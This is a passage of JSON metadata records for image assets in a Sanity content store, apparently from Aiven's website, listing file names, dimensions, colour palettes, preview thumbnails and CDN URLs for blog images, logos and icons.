alFilename":"Generate_fake_streaming_data_with_just_a_few_lines_of_code_blog.jpg","path":"images/sczeoy4w/production/63a676d4b614586ed8de8811de4c53ad9852deac-1567x844.jpg","sha1hash":"63a676d4b614586ed8de8811de4c53ad9852deac","size":327829,"title":"Generate fake streaming data with just a few lines of code!","uploadId":"SjOUbdk0rIAUsznLBRKyRV7Ryz1CFWbD","url":"https://cdn.sanity.io/images/sczeoy4w/production/63a676d4b614586ed8de8811de4c53ad9852deac-1567x844.jpg"} {"_createdAt":"2022-06-30T19:59:56Z","_id":"image-63ac13aaae7529413a353d113250cd6b9d5006d6-831x289-png","_rev":"waESC1SXj0AdlOPdeM3gUs","_type":"sanity.imageAsset","_updatedAt":"2023-02-20T09:07:50Z","altText":"Finding the service credentials in the Aiven Console","assetId":"63ac13aaae7529413a353d113250cd6b9d5006d6","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D7SPR$k;RPyXMx~qnitls:aK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.875432525951557,"height":289,"width":831},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQokY2R0W4FIQhE7/9/alcRBIS3adCbzW22SfswMRI8M8hLVVFyd0QEYi3EVIRMhBrC7H0XpExk1VYgMk9/njPdkWZ4MTNE5AYudygNaOswFrjMc78ajMaBl2nBPqW2DTdwzon1bnIzMBFGJ+icMFVM5l1TkW34gK0zVQ7Ga4zxTMi8YWVS8pL7bfpD5ic1ywF2IrTWUEk3tBpYEKrPx78lq39tHdnpAIkIX9eF3jusFnAD7X/ASnZ9ACtZQZnljOQLWSMU+E9g7N6ksWG1lG/8aRwhnIzcgAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#881034","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#760e2d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bdbbbc","foreground":"#000","population":0.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdbbbc","foreground":"#000","population":0.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4a4bc","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#898989","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e31b57","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"63ac13aaae7529413a353d113250cd6b9d5006d6-831x289.png","path":"images/sczeoy4w/production/63ac13aaae7529413a353d113250cd6b9d5006d6-831x289.png","sha1hash":"63ac13aaae7529413a353d113250cd6b9d5006d6","size":33701,"title":null,"uploadId":"lHYr0E1fLvspqjeeIb1bwKtu9zrby552","url":"https://cdn.sanity.io/images/sczeoy4w/production/63ac13aaae7529413a353d113250cd6b9d5006d6-831x289.png"} {"_createdAt":"2023-09-06T08:26:20Z","_id":"image-63ae1454ecdebdcf8c0306957b47107262394b95-3349x1158-png","_rev":"jBJgpqpGruZvOgVMUB67b7","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:26:20Z","assetId":"63ae1454ecdebdcf8c0306957b47107262394b95","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.8920552677029363,"height":1158,"width":3349},"exif":{"ColorSpace":1,"PixelXDimension":3349,"PixelYDimension":1158,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABIElEQVQokWWR62ocMQxG5/1fL9B/IZCWEDI7s75Kli9zir1saRvDhwWWjz5J2+1wnIcnuEh0Ae88znm8D8SckCJYq4wxuK7rj8a4aG0g2rgdwudXxHllu98D3idSElLMC/QEqiq9d8b1L2yq9wuzjg/G69vJy48v3n96tuOYwIzkgmZFRVEtS2aV3sc3d8vhgg5EjH1P/PoI7DeZDhMhTJBhajSrtN4p1oixEIMgItRqjNEX/Flg3q3WVdisYbWzpVTI2Sil0tvjw0yuteFcYt9PnHOIZMym60Ktc6ad63rA/+5gE6lMTUd9PvA4rXW8j+z7De8dqkIpZWlC27dF8QCqGqoVK23N5JkwgSFmzvNOCHNBEzQ7mVBd8VzY/7P9DcDZIgDvbZUGAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#232876","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#232976","foreground":"#fff","population":0.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#232976","foreground":"#fff","population":0.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c494a4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a90e3","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#636990","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c54ac","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-create-deployment.png","path":"images/sczeoy4w/production/63ae1454ecdebdcf8c0306957b47107262394b95-3349x1158.png","sha1hash":"63ae1454ecdebdcf8c0306957b47107262394b95","size":314270,"uploadId":"M2x9qNa8SFEyZW281o3mEAc2RPY8XLUu","url":"https://cdn.sanity.io/images/sczeoy4w/production/63ae1454ecdebdcf8c0306957b47107262394b95-3349x1158.png"} {"_createdAt":"2023-06-14T09:24:36Z","_id":"image-63b790a75ad1e9646429640535b89ac5f14d273f-2754x1922-png","_rev":"tW7kMBSHIbCIaN9dzP76up","_type":"sanity.imageAsset","_updatedAt":"2023-06-14T09:24:36Z","assetId":"63b790a75ad1e9646429640535b89ac5f14d273f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V3A^L{%N01oi9GWIfQoej[of00M{~pj[?a-=j[RkWCRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4328824141519252,"height":1922,"width":2754},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAC4jAAAuIwF4pT92AAABe0lEQVQ4jbWTyU4CQRCGeT5nYV/EPTGIjKJsgkDQABqXuES8zLArBwIqoEhQY1wOJj6ID8Glf9Mw6uCoidvhT3Uq3V/93VWt4VmJ8IxEeFYCJ8dvisixw7PSk+bPgRwjEkXyx0COERUOvwByjPgqZe5TICc7lA+9RBXkAxCUZ3hW6nCM+AY0G3MYth8Qu60AkyELqzkPmrOYchgfLXU1aC1gZOgQdlsRRn1vj8mQVTvU8WkiTFewuXFNkvE23DNHCC+ewe+rw+WsYDV5iZXEBQK+OpZjLXjmTuCYLCMaaWLefUwovA+o12aIz1tDsfBI0uIDlmIt7O7cYn3tCqHgKfZT99jeukEsek6LIhzqFUvt3SERbxPqXOVwYqyEYKBBFgINCK4qvJ4arQ7BVUEk3ITfW4PTUYbPU8OsUMUUXXu7a2Ix5dVjo+PTMOgyxKDLQCl6HYv8nnptpvu+VIo9RMu9G2xFd1VdpmIH1DmFiBz7u/zbwf6/r/fXwGcVN3vgAk/ROwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434268","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#393189","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c9c","foreground":"#fff","population":84.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4acd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c84dc","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c9c","foreground":"#fff","population":84.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c54bc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Nazca_Logotipo_CMYK-03.png","path":"images/sczeoy4w/production/63b790a75ad1e9646429640535b89ac5f14d273f-2754x1922.png","sha1hash":"63b790a75ad1e9646429640535b89ac5f14d273f","size":52044,"uploadId":"a86ZG8fFthUtr7Gn9xmnHnhLaWoKlQFz","url":"https://cdn.sanity.io/images/sczeoy4w/production/63b790a75ad1e9646429640535b89ac5f14d273f-2754x1922.png"} {"_createdAt":"2022-06-30T19:58:56Z","_id":"image-63be3346d8231fd4209e78e42a398408b2485d54-1600x360-png","_rev":"QRl2cGoCgj0FlAhkRrhrrQ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:57Z","assetId":"63be3346d8231fd4209e78e42a398408b2485d54","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D4Mj:gpI00-A00_NR5RjtlMd","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.444444444444445,"height":360,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA5ElEQVQYlU3OT0uEQBzGcd9zLSuFv5mD0KQ7+BbqICgdo4O5gu7KMh30HHQR/FfqKIGi6CWcRehzeU5feCT59ma/2+1lWVVV0zR93w//OW8YY2EYWpZFCIGNpNzfKYKmaY7jJElSFEWe54VQluW3UFVVlmWe51FK0UZCoGCMEUKU0iAIOOd93w/DMI7jJCzLMs/zPE2/bXs5nwzDQAhdEwkAMMYAoOu667ppmtZ13TQN57wVuq5bp/rJvz69t1d6OKzpNVYA1gcAhBDbthljsRBt4jiKoyj+YOz4/vL89EgeRLvGfzVA03uxk5BjAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b4548","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#77150d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":33.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcbcb0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb9177","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":33.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed685c","foreground":"#fff","population":0.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"63be3346d8231fd4209e78e42a398408b2485d54-1600x360.png","path":"images/sczeoy4w/production/63be3346d8231fd4209e78e42a398408b2485d54-1600x360.png","sha1hash":"63be3346d8231fd4209e78e42a398408b2485d54","size":52445,"uploadId":"P3T3kTHdur2kMlrP3DKaxuQzAA5CcLSG","url":"https://cdn.sanity.io/images/sczeoy4w/production/63be3346d8231fd4209e78e42a398408b2485d54-1600x360.png"} {"_createdAt":"2022-09-14T10:54:16Z","_id":"image-64105cc06f371e30e053a4e49f3fa1b033bd6b39-1200x163-png","_rev":"k8Pq0px2i8BPOfOn9xYOIW","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T10:54:16Z","assetId":"64105cc06f371e30e053a4e49f3fa1b033bd6b39","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4009j:fSfPfRfP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.361963190184049,"height":163,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAl0lEQVQImS2MTwsBcRRFz/0C7y5kwWb8abJnYWFlQyFTsxCyoBBSbCjfXtNvFrdb75z7ENEQzur0wTlEJmIovBIeC3fBLeEOxCBxN4Xbwr2KVw2RAzEXLoSXENWDAlyK2ApfhI/Ca4hp7exIzixtY6HklxAThK/CD+GD8Aa8F36KeEN8hX/Ct5pXtw9pcxc+pcRLxFnE6A8BlhRp1dZrJgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":74.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040414","foreground":"#fff","population":2.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":74.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#19197f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9090e8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#19197f","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a2ad4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-endeavor.png","path":"images/sczeoy4w/production/64105cc06f371e30e053a4e49f3fa1b033bd6b39-1200x163.png","sha1hash":"64105cc06f371e30e053a4e49f3fa1b033bd6b39","size":19557,"uploadId":"YlgubqcJvptOm51NIK0CBKumYmBFvAwZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/64105cc06f371e30e053a4e49f3fa1b033bd6b39-1200x163.png"} {"_createdAt":"2022-06-15T20:01:42Z","_id":"image-64675689bd64a82fe208ff761f11804e1d73c1bf-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEb1v2","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:13Z","assetId":"64675689bd64a82fe208ff761f11804e1d73c1bf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIPZ0vThXU#i?bVCi_a#WCob=Sv_a$M{Ip","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAChElEQVQokTXLTU/TcACA8X4FjRG9oHLQkx65eJAoIYMoiQeJHtDEIC8bDFDUuZio3FUMCSEqaFQUXLdu+7ddtxXY2NbNrWUM1vexvu/VxfgNDEtMfofn8kBm9JQV7fiv3eRRm5EOM9phkqeU0MnD4HEVP6aFTiih0xI4Vw5fquZuVKUFiPP38Ugv773Keq/xSJ8YsEmgXwz2c4hN8Peo5EWV7CqhnSXQKSJnheAFDnTzxE2NGrb23ZCQg4s7X3PYUgpdypKrhZ01Nr3BZX6KOZ9CL1fywwZlE4Et/6U3/uYKtTzA/Bhi8SkladdpJ2RVKnzxgCRCOAAEQZAkSVEUw9AlWarK20ZmTklMyMRUbnUkPH8n9nYi+8nBBh8ZmclKYQaqN39zPI/jIdgDr69veGBvOByJxeOF/J6cCORX7SzsVLceC8BJfxtjvruSiw56ZdRIjTW4h1C92eR4PkSEPe0ZhmEAAIph8e1YIbKx+9HOwVNabE5LOPWsQ955nl6ezH4Y0ZOj9fbcEqXDSHQLQYDfD7w+vw8JABSjUulykTQybjM9aaadVuZBo3jP2p3mUacQemJmnZX9WajZNGTpYHMTB0EPjiM45sNx3/YWzrF0q5b6q75ocbdq9PX6r54GfbmaHjAS901mvro3Y+7NQK3KWqW8IhbescxrobAgFxfl4qIiLNW1z3/09y3WbiW7FaJLi5yxYueNeLeeHqoVZxvcuMW+hKqSqya5qm012VUvPWuU3I2Suy67a+xTi3EosdsSNliKDGqpIS13V2XGzYNpi39lyH6ozAdUEWgSUMWgIgY0GegyqktHDAk1ZcwQMYNHDQHoIlD4QJn1KzymH1KmUf4HAZjM4lnwCa4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a312e","foreground":"#fff","population":5.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91390f","foreground":"#fff","population":2.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c3ac73","foreground":"#000","population":5.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bfb0","foreground":"#000","population":4.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7f325","foreground":"#000","population":5.46,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#c3ac73","foreground":"#000","population":5.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9d005","foreground":"#000","population":4.86,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"64675689bd64a82fe208ff761f11804e1d73c1bf-752x405.png","path":"images/sczeoy4w/production/64675689bd64a82fe208ff761f11804e1d73c1bf-752x405.png","sha1hash":"64675689bd64a82fe208ff761f11804e1d73c1bf","size":170466,"uploadId":"uIxhWjhTl5fO8K57UW0VvSmTgnTN7rXw","url":"https://cdn.sanity.io/images/sczeoy4w/production/64675689bd64a82fe208ff761f11804e1d73c1bf-752x405.png"} {"_createdAt":"2024-01-24T01:38:48Z","_id":"image-6486517a6a7974c1d45ae4d36baffc037ec64fc1-800x800-jpg","_rev":"VeNKqGNmt13PzvGhqkbl4E","_type":"sanity.imageAsset","_updatedAt":"2024-01-24T01:38:48Z","assetId":"6486517a6a7974c1d45ae4d36baffc037ec64fc1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eE96@IWU0ss:};xeWZNGs.s*0zoI^MWB9}EToK%0R.NGWZa#oaoJR+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAQFBgf/xAAhEAACAgIBBQEBAAAAAAAAAAABAgADBBExBQYSIWEHUf/EABYBAQEBAAAAAAAAAAAAAAAAAAUGBP/EAB4RAAEEAgMBAAAAAAAAAAAAAAMAAQIEITIxM3FB/9oADAMBAAIRAxEAPwDhaozsErG3Y6A+zRdx9m9Q6B0/FzcjIoupvHtU5Q/ZQ4Vwqz6D5hG8x7PAm3/Qu4rL8DFwbNaYBiwIKnX8jdyySNwQxyx9WWrXHKsQhGy3CwqcRCcRGkWq4sTadw7sSPJidD1s8REki7v6nIaspuKfKhSeYiJUB64+MhZ7Ov/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#49342e","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c7c","foreground":"#fff","population":52.92,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c7c","foreground":"#fff","population":52.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#841425","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec8494","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c6c64","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af663a","foreground":"#fff","population":0.48,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"JohnHeadshot.jpeg","path":"images/sczeoy4w/production/6486517a6a7974c1d45ae4d36baffc037ec64fc1-800x800.jpg","sha1hash":"6486517a6a7974c1d45ae4d36baffc037ec64fc1","size":54962,"uploadId":"GM8uXVCyHuVGOeGJ2i4Bpmj5Z8wQ8CVu","url":"https://cdn.sanity.io/images/sczeoy4w/production/6486517a6a7974c1d45ae4d36baffc037ec64fc1-800x800.jpg"} {"_createdAt":"2024-02-05T21:20:55Z","_id":"image-64a1a477c0d63ddcfce85bd69e9c0f74a1962c42-4000x6000-jpg","_rev":"H1slUvtNVEvBnmPPMTBvij","_type":"sanity.imageAsset","_updatedAt":"2024-02-05T21:20:55Z","assetId":"64a1a477c0d63ddcfce85bd69e9c0f74a1962c42","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dDC#oGI:%3$$kT~Bobxatm$yX-Rm=wGFsps:tk$Qxa%1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6666666666666666,"height":6000,"width":4000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAwT/xAAoEAACAgIBAwIGAwAAAAAAAAABAgMEAAURBhIhE2EVIjFRcYEyUtH/xAAYAQACAwAAAAAAAAAAAAAAAAADBAACBf/EACQRAAIBAgQHAQAAAAAAAAAAAAECAAMRBBIhoQUTIiM0QVGR/9oADAMBAAIRAxEAPwCG6n6jPVdOXV65BBDFI0zKg4Dj/MjdxLErJapVjGixBDGx44b+w/eabqNYbrW6Mh9PnhR38F1OL9bRF300sCy8kr8RBPK+4/OI0wLB2Ok1KnYJUDqHzY7xZduzXbDTzKDI38ivjk/fDHE2onqTyQhvT7WPyuvkfnDDc1TqIAIfZ2iOAGWdArhST47j4GWtV7tnXx0IjDCsU4m5J7XQ/ce2SNOOKWhJypEytyG5yk1dGbbbbX1pbBMtkLCHPjtH6ylZc5tD4UZAXYXFo2v6JdjclsfEZLLE8NIOfJwzs2/XlnpO/LpNDVgjp0z6ZMqBmdx9WJ98Mi4RlFs8ZPGaN/HU/s//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#435b43","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f1b11","foreground":"#fff","population":6.61,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6f1b11","foreground":"#fff","population":6.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#baaaa3","foreground":"#000","population":0.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edc56e","foreground":"#000","population":0.42,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f9f81","foreground":"#fff","population":0.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e29f14","foreground":"#000","population":0.85,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"AIVEN3070.jpg","path":"images/sczeoy4w/production/64a1a477c0d63ddcfce85bd69e9c0f74a1962c42-4000x6000.jpg","sha1hash":"64a1a477c0d63ddcfce85bd69e9c0f74a1962c42","size":7391945,"uploadId":"lylACrGje2wG8AkHdmxSPbaG75mSlxoQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/64a1a477c0d63ddcfce85bd69e9c0f74a1962c42-4000x6000.jpg"} {"_createdAt":"2023-09-26T15:36:58Z","_id":"image-64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59-24x24-svg","_rev":"kaQ4ZWos4gq6sBfd7z1SDX","_type":"sanity.imageAsset","_updatedAt":"2023-09-26T15:36:58Z","assetId":"64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADIElEQVQ4jVWU3YuWVRTFfzOjo85IOswQmgpCmWREUUJBNRUIERR9jBKBjeO79vtOX1jYRWX2MV2EQUJ000WRUKjknQMVYeTQVXf9R2fFPue8Yz6w4eHsvdbZZ+0PvAIegE93ex28D0ow4WCnxWGLY90O17P07QMvd2zasGHxm53oEnjEpIMZiwMWiw5GFhctrnW72M8WM6ZkbGLOgxfBbydh9KzEtiIOWZyw+MLissUfFusWP3Zb72eXe8wJB4dKsK3yaEwopiyOWHxkcb2DfrI4b7FkcbSIoxbHLT7pvoy5XhrmSOfYJJwp4mQRv9fbg7B4zOIuD9juFSarie0We4t41IEytjTiZQ+YzXqMCXdbfFjEhoM3HMyVEXgVSgr+LvitLr7Y0m3OYtXi7yI+rhyDJFQlnXPwuYO/HCxlFUtAUbOxLEXst3ja4iGLOyxesbhpsdYv6MGNcM3BRmpWgkmPattMO/+HtfoHavatOKsl5Uh9E9OwydEzbOxr/clL/UmZzeMO7stKOlh1sO7gqoMXHOwurWAbt2d4i/Czmn5w3FHFf8riG0ftvS872S8OXnOw4CFbHbXFbnZsJ2xC77L4wOJPB8t9Qh60+NrBPyX4twTXOtmddUKCHQ5OlcQ07K5WlJwSMWvVNvjNwTkHex3MlqjTcsHBdw5erWRDJhJYWvucqxgxKMlRCVsFt1o8Y3HF4uc6WqfZUscwuNfBAw7mk6wMN+MXe+yVXvmUYFPDvDHnN/vpRhGfWtxdq6tqU2XAhDN+mUkPuCd1K+KGW5b7u3Rdw5O1gactnrT4wW1izlgcLDlS74DP1NgpDzjYfRnzvcUTRUzXbZOEJTXMJn52szgvW1y1+NXibGlzOuMBOyzut3i/NF8+9aWKOdsTq09uAjcth/V/oS+B1Cfn9ILFi92+6mfpy/ZaqPjMru/UsX5Ny3Tm8hTzFs9ZfDveKv/bQnmWvvk6Tcd6p+SiroT9ybdt3izAoPbiIxbvWVxKK+3/YYudXmGiJjLGJM+I9lXHUt8s42xbf+ZC2JPrqq4sscfB1GYSvRB+vj07v/8AQRmCAlfeKm4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543c44","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e1205","foreground":"#fff","population":1.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7e1205","foreground":"#fff","population":1.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#963002","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca47c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#94845c","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec4c04","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-shield-tick.svg","path":"images/sczeoy4w/production/64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59-24x24.svg","sha1hash":"64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59","size":588,"uploadId":"TVZ2jUOUm7wj8NlPqcwMEkD8xFKpKpFG","url":"https://cdn.sanity.io/images/sczeoy4w/production/64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59-24x24.svg"} {"_createdAt":"2024-06-24T18:45:55Z","_id":"image-651a94e715d3002b093f1e58a4c0f51aac4c38bf-1572x575-png","_rev":"zpGi3UTFmkjrflyGXAV8oL","_type":"sanity.imageAsset","_updatedAt":"2024-06-24T18:45:55Z","assetId":"651a94e715d3002b093f1e58a4c0f51aac4c38bf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D27_Bl?2%iTf4=D*I8D#Rgot","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.733913043478261,"height":575,"width":1572},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAACToAAAk6AGCYwUcAAAB0ElEQVQokSXR207TcACA8T6DVyZqAvFA13Zd18O/XdfRrYMdGDgNAe8IMV6QGBM1LDAQKwIrYweYbIzhA5j4kp/JfIHfxfdJj57s8vTFHkuZLyhmC8U8QLXaqPYxmviO6sSozim6e4HuJehel0yuRzY/xCyMsMMJ5vIdsv2LhfQN0uPFDyzIH5GNr6hWC806QLPaKOYRqn2C7v4g452he//B9BzsY+SHZIMRVjgmG0zm4KJ+g2QW2m